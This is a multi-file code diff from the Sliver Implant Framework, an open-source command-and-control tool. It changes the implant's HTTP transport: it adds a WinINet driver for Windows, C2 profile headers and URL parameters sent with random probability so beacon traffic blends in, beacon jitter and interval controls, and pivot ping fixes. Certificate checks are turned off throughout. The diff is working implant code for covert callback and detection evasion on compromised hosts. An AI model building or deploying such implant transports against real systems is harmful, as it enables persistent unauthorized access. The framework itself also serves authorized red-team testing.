+	success, _, err = wininet.NewProc(proc).Call(
+		reqHndl,
+		uintptr(unsafe.Pointer(&b[0])),
+		uintptr(bytesToRead),
+		uintptr(unsafe.Pointer(bytesRead)),
+	)
+	if success == 0 {
+		return fmt.Errorf("%s: %w", proc, err)
+	}
+
+	*buffer = b
+
+	return nil
+}
+
+// InternetSetOptionW is from wininet.h
+func InternetSetOptionW(
+	hndl uintptr,
+	opt uintptr,
+	val []byte,
+	valLen int,
+) error {
+	var err error
+	var proc string = "InternetSetOptionW"
+	var success uintptr
+
+	// Pointer to data if provided
+	if valLen == 0 {
+		val = make([]byte, 1)
+	}
+
+	success, _, err = wininet.NewProc(proc).Call(
+		hndl,
+		opt,
+		uintptr(unsafe.Pointer(&val[0])),
+		uintptr(valLen),
+	)
+	if success == 0 {
+		return fmt.Errorf("%s: %w", proc, err)
+	}
+
+	return nil
+}

implant/sliver/transports/httpclient/drivers_generic.go

@@ -0,0 +1,42 @@
+//go:build !windows
+
+package httpclient
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+)
+
+// GetHTTPDriver - Get an instance of the specified HTTP driver
+func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
+	switch opts.Driver {
+
+	case goHTTPDriver:
+		return GoHTTPDriver(origin, secure, opts)
+
+	default:
+		// {{if .Config.Debug}}
+		log.Printf("WARNING: unknown HTTP driver: %s", opts.Driver)
+		// {{end}}
+		return GoHTTPDriver(origin, secure, opts)
+	}
+}

implant/sliver/transports/httpclient/drivers_windows.go

@@ -0,0 +1,62 @@
+package httpclient
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/implant/sliver/transports/httpclient/drivers/win/wininet"
+)
+
+// GetHTTPDriver - Get an instance of the specified HTTP driver
+func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
+	switch opts.Driver {
+
+	case goHTTPDriver:
+		// {{if .Config.Debug}}
+		log.Printf("Using go http driver")
+		// {{end}}
+		return GoHTTPDriver(origin, secure, opts)
+
+	case wininetDriver:
+		// {{if .Config.Debug}}
+		log.Printf("Using wininet driver")
+		// {{end}}
+		return WininetDriver(origin, secure, opts)
+
+	default:
+		// {{if .Config.Debug}}
+		log.Printf("WARNING: unknown HTTP driver: %s", opts.Driver)
+		// {{end}}
+		return GoHTTPDriver(origin, secure, opts)
+	}
+}
+
+// WininetDriver - Initialize a Wininet driver (Windows only)
+func WininetDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
+	wininetClient, err := wininet.NewClient(userAgent)
+	if err != nil {
+		return nil, err
+	}
+	wininetClient.TLSClientConfig.InsecureSkipVerify = true
+	return wininetClient, nil
+}

implant/sliver/transports/httpclient/gohttp.go

@@ -0,0 +1,134 @@
+package httpclient
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"crypto/tls"
+	"net"
+	"net/http"
+	"net/url"
+	"sync"
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/implant/sliver/proxy"
+)
+
+// GoHTTPDriver - Pure Go HTTP driver
+func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
+	var transport *http.Transport
+	if !secure {
+		transport = &http.Transport{
+			Dial:                proxy.Direct.Dial,
+			TLSHandshakeTimeout: opts.TlsTimeout,
+			TLSClientConfig:     &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
+		}
+	} else {
+		transport = &http.Transport{
+			Dial: (&net.Dialer{
+				Timeout: opts.NetTimeout,
+			}).Dial,
+			TLSHandshakeTimeout: opts.TlsTimeout,
+			TLSClientConfig:     &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
+		}
+	}
+	client := &http.Client{
+		Jar:       cookieJar(),
+		Timeout:   opts.NetTimeout,
+		Transport: transport,
+	}
+	parseProxyConfig(origin, transport, opts.ProxyConfig)
+	return client, nil
+}
+
+func parseProxyConfig(origin string, transport *http.Transport, proxyConfig string) {
+	switch proxyConfig {
+	case "never":
+		break
+	case "":
+		fallthrough
+	case "auto":
+		p := proxy.NewProvider("").GetHTTPSProxy(origin)
+		if p != nil {
+			// {{if .Config.Debug}}
+			log.Printf("Found proxy %#v\n", p)
+			// {{end}}
+			proxyURL := p.URL()
+			if proxyURL.Scheme == "" {
+				proxyURL.Scheme = "https"
+			}
+			// {{if .Config.Debug}}
+			log.Printf("Proxy URL = '%s'\n", proxyURL)
+			// {{end}}
+			transport.Proxy = http.ProxyURL(proxyURL)
+		}
+	default:
+		// {{if .Config.Debug}}
+		log.Printf("Force proxy %#v\n", proxyConfig)
+		// {{end}}
+		proxyURL, err := url.Parse(proxyConfig)
+		if err != nil {
+			break
+		}
+		if proxyURL.Scheme == "" {
+			proxyURL.Scheme = "https"
+		}
+		// {{if .Config.Debug}}
+		log.Printf("Proxy URL = '%s'\n", proxyURL)
+		// {{end}}
+		transport.Proxy = http.ProxyURL(proxyURL)
+	}
+}
+
+// Jar - CookieJar implementation that ignores domains/origins
+type Jar struct {
+	lk      sync.Mutex
+	cookies []*http.Cookie
+}
+
+func cookieJar() *Jar {
+	return &Jar{
+		lk:      sync.Mutex{},
+		cookies: []*http.Cookie{},
+	}
+}
+
+// NewJar - Get a new instance of a cookie jar
+func NewJar() *Jar {
+	jar := new(Jar)
+	jar.cookies = make([]*http.Cookie, 0)
+	return jar
+}
+
+// SetCookies handles the receipt of the cookies in a reply for the
+// given URL (which is ignored).
+func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
+	jar.lk.Lock()
+	jar.cookies = append(jar.cookies, cookies...)
+	jar.lk.Unlock()
+}
+
+// Cookies returns the cookies to send in a request for the given URL.
+// It is up to the implementation to honor the standard cookie use
+// restrictions such as in RFC 6265 (which we do not).
+func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
+	return jar.cookies
+}

implant/sliver/transports/httpclient/httpclient.go

@@ -23,13 +23,11 @@ package httpclient
 import (
 	"bytes"
 	"context"
-	"crypto/tls"
 	"errors"
 	"fmt"
 	"io"
 	"io/ioutil"
 	insecureRand "math/rand"
-	"net"
 	"net/http"
 	"net/url"
 	"strconv"
@@ -44,12 +42,14 @@ import (
 
 	"github.com/bishopfox/sliver/implant/sliver/cryptography"
 	"github.com/bishopfox/sliver/implant/sliver/encoders"
-	"github.com/bishopfox/sliver/implant/sliver/proxy"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
 	"google.golang.org/protobuf/proto"
 )
 
 const (
+	goHTTPDriver  = "go"
+	wininetDriver = "wininet"
+
 	userAgent         = "{{GenerateUserAgent}}"
 	nonceQueryArgs    = "abcdefghijklmnopqrstuvwxyz_"
 	acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
@@ -62,11 +62,14 @@ var (
 
 // HTTPOptions - c2 specific configuration options
 type HTTPOptions struct {
-	NetTimeout  time.Duration
-	TlsTimeout  time.Duration
-	PollTimeout time.Duration
-	MaxErrors   int
-	ForceHTTP   bool
+	Driver               string
+	NetTimeout           time.Duration
+	TlsTimeout           time.Duration
+	PollTimeout          time.Duration
+	MaxErrors            int
+	ForceHTTP            bool
+	DisableAcceptHeader  bool
+	DisableUpgradeHeader bool
 
 	ProxyConfig   string
 	ProxyUsername string
@@ -91,12 +94,20 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
 	if err != nil || maxErrors < 0 {
 		maxErrors = 10
 	}
+	driverName := strings.TrimSpace(strings.ToLower(c2URI.Query().Get("driver")))
+	if driverName == "" {
+		driverName = goHTTPDriver
+	}
+
 	return &HTTPOptions{
-		NetTimeout:  netTimeout,
-		TlsTimeout:  tlsTimeout,
-		PollTimeout: pollTimeout,
-		MaxErrors:   maxErrors,
-		ForceHTTP:   c2URI.Query().Get("force-http") == "true",
+		Driver:               driverName,
+		NetTimeout:           netTimeout,
+		TlsTimeout:           tlsTimeout,
+		PollTimeout:          pollTimeout,
+		MaxErrors:            maxErrors,
+		ForceHTTP:            c2URI.Query().Get("force-http") == "true",
+		DisableAcceptHeader:  c2URI.Query().Get("disable-accept-header") == "true",
+		DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
 
 		ProxyConfig:   c2URI.Query().Get("proxy"),
 		ProxyUsername: c2URI.Query().Get("proxy-username"),
@@ -109,8 +120,8 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
 	var client *SliverHTTPClient
 	var err error
 	if !opts.ForceHTTP {
-		client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
-		client.pollTimeout = opts.PollTimeout
+		client = httpsClient(address, opts)
+		client.Options = opts
 		client.PathPrefix = pathPrefix
 		err = client.SessionInit()
 		if err == nil {
@@ -122,7 +133,10 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
 		if strings.HasSuffix(address, ":443") {
 			address = fmt.Sprintf("%s:80", address[:len(address)-4])
 		}
-		client = httpClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig) // Fallback to insecure HTTP
+
+		client = httpClient(address, opts) // Fallback to insecure HTTP
+		client.Options = opts
+		client.PathPrefix = pathPrefix
 		err = client.SessionInit()
 		if err != nil {
 			return nil, err
@@ -131,11 +145,16 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
 	return client, nil
 }
 
+// HTTPDriver - The interface to send/recv HTTP data
+type HTTPDriver interface {
+	Do(*http.Request) (*http.Response, error)
+}
+
 // SliverHTTPClient - Helper struct to keep everything together
 type SliverHTTPClient struct {
 	Origin      string
 	PathPrefix  string
-	Client      *http.Client
+	driver      HTTPDriver
 	ProxyURL    string
 	SessionCtx  *cryptography.CipherContext
 	SessionID   string
@@ -143,6 +162,8 @@ type SliverHTTPClient struct {
 	pollCancel  context.CancelFunc
 	pollMutex   *sync.Mutex
 	Closed      bool
+
+	Options *HTTPOptions
 }
 
 // SessionInit - Initialize the session
@@ -199,13 +220,54 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL
 func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
 	req, _ := http.NewRequest(method, uri.String(), body)
 	req.Header.Set("User-Agent", userAgent)
-	if method == http.MethodGet {
+	if method == http.MethodGet && !s.Options.DisableAcceptHeader {
 		req.Header.Set("Accept-Language", "en-US,en;q=0.9")
 		req.Header.Set("Accept", acceptHeaderValue)
 	}
-	if uri.Scheme == "http" {
+	if uri.Scheme == "http" && !s.Options.DisableUpgradeHeader {
 		req.Header.Set("Upgrade-Insecure-Requests", "1")
 	}
+
+	type nameValueProbability struct {
+		Name        string
+		Value       string
+		Probability string
+	}
+
+	// HTTP C2 Profile headers
+	extraHeaders := []nameValueProbability{
+		// {{range $header := .HTTPC2ImplantConfig.Headers}}
+		{Name: "{{$header.Name}}", Value: "{{$header.Value}}", Probability: "{{$header.Probability}}"},
+		// {{end}}
+	}
+	for _, header := range extraHeaders {
+		probability, _ := strconv.Atoi(header.Probability)
+		if 0 < probability {
+			roll := insecureRand.Intn(99) + 1
+			if probability < roll {
+				continue
+			}
+		}
+		req.Header.Set(header.Name, header.Value)
+	}
+
+	extraURLParams := []nameValueProbability{
+		// {{range $param := .HTTPC2ImplantConfig.URLParameters}}
+		{Name: "{{$param.Name}}", Value: "{{$param.Value}}", Probability: "{{$param.Probability}}"},
+		// {{end}}
+	}
+	queryParams := req.URL.Query()
+	for _, param := range extraURLParams {
+		probability, _ := strconv.Atoi(param.Probability)
+		if 0 < probability {
+			roll := insecureRand.Intn(99) + 1
+			if probability < roll {
+				continue
+			}
+		}
+		queryParams.Set(param.Name, param.Value)
+	}
+	req.URL.RawQuery = queryParams.Encode()
 	return req
 }
 
@@ -231,11 +293,11 @@ func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, er
 	var data []byte
 	var err error
 	go func() {
-		resp, err = s.Client.Do(req.WithContext(ctx))
+		resp, err = s.driver.Do(req.WithContext(ctx))
 		select {
 		case <-ctx.Done():
 			done <- ctx.Err()
-		case <-time.After(s.pollTimeout):
+		case <-time.After(s.Options.PollTimeout):
 			// {{if .Config.Debug}}
 			log.Printf("[http] poll timeout error!")
 			// {{end}}
@@ -272,7 +334,7 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
 	log.Printf("[http] POST -> %s (%d bytes)", uri, len(sessionInit))
 	// {{end}}
 
-	resp, err := s.Client.Do(req)
+	resp, err := s.driver.Do(req)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[http] http response error: %s", err)
@@ -407,7 +469,7 @@ func (s *SliverHTTPClient) WriteEnvelope(envelope *pb.Envelope) error {
 	// {{end}}
 
 	req := s.newHTTPRequest(http.MethodPost, uri, reader)
-	resp, err := s.Client.Do(req)
+	resp, err := s.driver.Do(req)
 	// {{if .Config.Debug}}
 	log.Printf("[http] POST request completed")
 	// {{end}}
@@ -451,7 +513,7 @@ func (s *SliverHTTPClient) CloseSession() error {
 	// {{if .Config.Debug}}
 	log.Printf("[http] GET -> %s", uri)
 	// {{end}}
-	resp, err := s.Client.Do(req)
+	resp, err := s.driver.Do(req)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[http] GET failed %v", err)
@@ -474,7 +536,7 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
 	for index, segment := range segments {
 		segments[index] = url.PathEscape(segment)
 	}
-	if s.PathPrefix != "" {
+	if s.PathPrefix != "" && s.PathPrefix != "/" {
 		segments = append([]string{s.PathPrefix}, segments...)
 	}
 	return strings.Join(segments, "/")
@@ -561,122 +623,42 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext
 
 // [ HTTP(S) Clients ] ------------------------------------------------------------
 
-func httpClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
-	transport := &http.Transport{
-		Dial:                proxy.Direct.Dial,
-		TLSHandshakeTimeout: tlsTimeout,
-		TLSClientConfig:     &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
+func httpClient(address string, opts *HTTPOptions) *SliverHTTPClient {
+	origin := fmt.Sprintf("http://%s", address)
+	driver, err := GetHTTPDriver(origin, false, opts)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[http] failed to initialize driver: %v", err)
+		// {{end}}
+		return nil
 	}
 	client := &SliverHTTPClient{
-		Origin: fmt.Sprintf("http://%s", address),
-		Client: &http.Client{
-			Jar:       cookieJar(),
-			Timeout:   netTimeout,
-			Transport: transport,
-		},
+		Origin:    origin,
+		driver:    driver,
 		pollMutex: &sync.Mutex{},
 		Closed:    false,
+		Options:   opts,
 	}
-	parseProxyConfig(client, transport, proxyConfig)
 	return client
 }
 
-func httpsClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
-	transport := &http.Transport{
-		Dial: (&net.Dialer{
-			Timeout: netTimeout,
-		}).Dial,
-		TLSHandshakeTimeout: tlsTimeout,
-		TLSClientConfig:     &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
+func httpsClient(address string, opts *HTTPOptions) *SliverHTTPClient {
+	origin := fmt.Sprintf("https://%s", address)
+	driver, err := GetHTTPDriver(origin, true, opts)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[http] failed to initialize driver: %v", err)
+		// {{end}}
+		return nil
 	}
 	client := &SliverHTTPClient{
-		Origin: fmt.Sprintf("https://%s", address),
-		Client: &http.Client{
-			Jar:       cookieJar(),
-			Timeout:   netTimeout,
-			Transport: transport,
-		},
+		Origin:    origin,
+		driver:    driver,
 		pollMutex: &sync.Mutex{},
 		Closed:    false,
+		Options:   opts,
 	}
-	parseProxyConfig(client, transport, proxyConfig)
 	return client
 }
 
-func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxyConfig string) {
-	switch proxyConfig {
-	case "never":
-		break
-	case "":
-		fallthrough
-	case "auto":
-		p := proxy.NewProvider("").GetHTTPSProxy(client.Origin)
-		if p != nil {
-			// {{if .Config.Debug}}
-			log.Printf("Found proxy %#v\n", p)
-			// {{end}}
-			proxyURL := p.URL()
-			if proxyURL.Scheme == "" {
-				proxyURL.Scheme = "https"
-			}
-			// {{if .Config.Debug}}
-			log.Printf("Proxy URL = '%s'\n", proxyURL)
-			// {{end}}
-			transport.Proxy = http.ProxyURL(proxyURL)
-			client.ProxyURL = proxyURL.String()
-		}
-	default:
-		// {{if .Config.Debug}}
-		log.Printf("Force proxy %#v\n", proxyConfig)
-		// {{end}}
-		proxyURL, err := url.Parse(proxyConfig)
-		if err != nil {
-			break
-		}
-		if proxyURL.Scheme == "" {
-			proxyURL.Scheme = "https"
-		}
-		// {{if .Config.Debug}}
-		log.Printf("Proxy URL = '%s'\n", proxyURL)
-		// {{end}}
-		transport.Proxy = http.ProxyURL(proxyURL)
-		client.ProxyURL = proxyURL.String()
-	}
-}
-
-// Jar - CookieJar implementation that ignores domains/origins
-type Jar struct {
-	lk      sync.Mutex
-	cookies []*http.Cookie
-}
-
-func cookieJar() *Jar {
-	return &Jar{
-		lk:      sync.Mutex{},
-		cookies: []*http.Cookie{},
-	}
-}
-
-// NewJar - Get a new instance of a cookie jar
-func NewJar() *Jar {
-	jar := new(Jar)
-	jar.cookies = make([]*http.Cookie, 0)
-	return jar
-}
-
-// SetCookies handles the receipt of the cookies in a reply for the
-// given URL (which is ignored).
-func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
-	jar.lk.Lock()
-	jar.cookies = append(jar.cookies, cookies...)
-	jar.lk.Unlock()
-}
-
-// Cookies returns the cookies to send in a request for the given URL.
-// It is up to the implementation to honor the standard cookie use
-// restrictions such as in RFC 6265 (which we do not).
-func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
-	return jar.cookies
-}
-
 // {{end}} -HTTPc2Enabled

implant/sliver/transports/pivotclients/namedpipe_generic.go

@@ -24,7 +24,7 @@ import (
 	"errors"
 )
 
-// NamedPipeConnect - Non windows implementation of the named pipe client
+// NamedPipePivotStartSession - Non windows implementation of the named pipe client
 func NamedPipePivotStartSession(_ string, _ *NamedPipePivotOptions) (*NetConnPivotClient, error) {
 	return nil, errors.New("unsupported platform")
 }

implant/sliver/transports/session.go

@@ -200,7 +200,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
 				// *** WG ***
 				// {{if .Config.WGc2Enabled}}
 				connection, err = wgConnect(uri)
-				if err == nil {
+				if err != nil {
 					// {{if .Config.Debug}}
 					log.Printf("[wg] Connection failed %s", err)
 					// {{end}}
@@ -753,6 +753,9 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
 				case <-pingCtrl:
 					return
 				case <-time.After(time.Minute):
+					// {{if .Config.Debug}}
+					log.Printf("[tcp pivot] peer ping...")
+					// {{end}}
 					data, _ := proto.Marshal(&pb.PivotPing{
 						Nonce: uint32(time.Now().UnixNano()),
 					})
@@ -760,11 +763,10 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
 						Type: pb.MsgPivotPeerPing,
 						Data: data,
 					}
-				case <-time.After(time.Minute):
 					// {{if .Config.Debug}}
 					log.Printf("[tcp pivot] server ping...")
 					// {{end}}
-					data, _ := proto.Marshal(&pb.PivotPing{
+					data, _ = proto.Marshal(&pb.PivotPing{
 						Nonce: uint32(time.Now().UnixNano()),
 					})
 					connection.Send <- &pb.Envelope{

implant/sliver/transports/transports.go

@@ -112,6 +112,11 @@ func randomCCDomain(ccServers []string, next string) string {
 var (
 	// reconnectInterval - DO NOT ACCESS DIRECTLY
 	reconnectInterval = time.Duration(0)
+
+	// {{if .Config.IsBeacon}}
+	jitter   = time.Duration(0)
+	interval = time.Duration(0)
+	// {{end}}
 )
 
 // GetReconnectInterval - Parse the reconnect interval inserted at compile-time
@@ -132,6 +137,44 @@ func SetReconnectInterval(interval int64) {
 	reconnectInterval = time.Duration(interval)
 }
 
+// GetJitter - Get the beacon jitter {{if .Config.IsBeacon}}
+func GetJitter() int64 {
+	if jitter == time.Duration(0) {
+		configJitter, err := strconv.ParseInt(`{{.Config.BeaconJitter}}`, 10, 64)
+		jitter = time.Duration(configJitter)
+		if err != nil {
+			jitter = time.Duration(30 * time.Second)
+		}
+	}
+	return int64(jitter)
+}
+
+// SetJitter - Set the jitter value dynamically
+func SetJitter(newJitter int64) {
+	jitter = time.Duration(newJitter)
+}
+
+// {{end}} - IsBeacon
+
+// GetInterval - Get the beacon interval {{if .Config.IsBeacon}}
+func GetInterval() int64 {
+	if interval == time.Duration(0) {
+		configInterval, err := strconv.ParseInt(`{{.Config.BeaconInterval}}`, 10, 64)
+		if err != nil {
+			interval = time.Duration(30 * time.Second)
+		}
+		interval = time.Duration(configInterval)
+	}
+	return int64(interval)
+}
+
+// SetInterval - Set the interval value dynamically
+func SetInterval(newInterval int64) {
+	interval = time.Duration(newInterval)
+}
+
+// {{end}} - IsBeacon
+
 // GetMaxConnectionErrors - Parse the max connection errors inserted at compile-time
 func GetMaxConnectionErrors() int {
 	maxConnectionErrors, err := strconv.Atoi(`{{.Config.MaxConnectionErrors}}`)

implant/sliver/transports/transports_windows.go

@@ -56,6 +56,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
 			// {{end}}
 			close(send)
 			ctrl <- struct{}{}
+			pingCtrl <- struct{}{}
 			close(recv)
 		},
 	}
@@ -80,6 +81,9 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
 				case <-pingCtrl:
 					return
 				case <-time.After(time.Minute):
+					// {{if .Config.Debug}}
+					log.Printf("[namedpipe] peer ping...")
+					// {{end}}
 					data, _ := proto.Marshal(&pb.PivotPing{
 						Nonce: uint32(time.Now().UnixNano()),
 					})
@@ -87,11 +91,10 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
 						Type: pb.MsgPivotPeerPing,
 						Data: data,
 					}
-				case <-time.After(time.Minute):
 					// {{if .Config.Debug}}
 					log.Printf("[namedpipe] server ping...")
 					// {{end}}
-					data, _ := proto.Marshal(&pb.PivotPing{
+					data, _ = proto.Marshal(&pb.PivotPing{
 						Nonce: uint32(time.Now().UnixNano()),
 					})
 					connection.Send <- &pb.Envelope{

implant/sliver/transports/wireguard/wireguard.go

@@ -29,6 +29,7 @@ import (
 	"fmt"
 	"io"
 	"net"
+	"net/netip"
 	"strconv"
 	"strings"
 	"time"
@@ -215,8 +216,8 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
 // then creates a Wireguard device/interface and applies configuration
 func bringUpWGInterface(address string, port uint16, implantPrivKey string, serverPubKey string, netstackTunIP string) (tun.Device, *device.Device, *netstack.Net, error) {
 	tun, tNet, err := netstack.CreateNetTUN(
-		[]net.IP{net.ParseIP(netstackTunIP)},
-		[]net.IP{net.ParseIP("127.0.0.1")}, // We don't use DNS in the WG implant. Yet.
+		[]netip.Addr{netip.MustParseAddr(netstackTunIP)},
+		[]netip.Addr{netip.MustParseAddr("127.0.0.1")}, // We don't use DNS in the WG implant. Yet.
 		1420)
 	if err != nil {
 		// {{if .Config.Debug}}

implant/sliver/transports/wireguard/wireguard_generic.go

@@ -20,6 +20,7 @@ package wireguard
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
+// WireguardConnect - Placeholder for unsupported platforms
 func WireguardConnect(_ string, _ uint16) (net.Conn, *device.Device, error) {
 	return nil, nil, errors.New("{{if .Config.Debug}}WireguardConnect not implemented on this platform{{end}}")
 }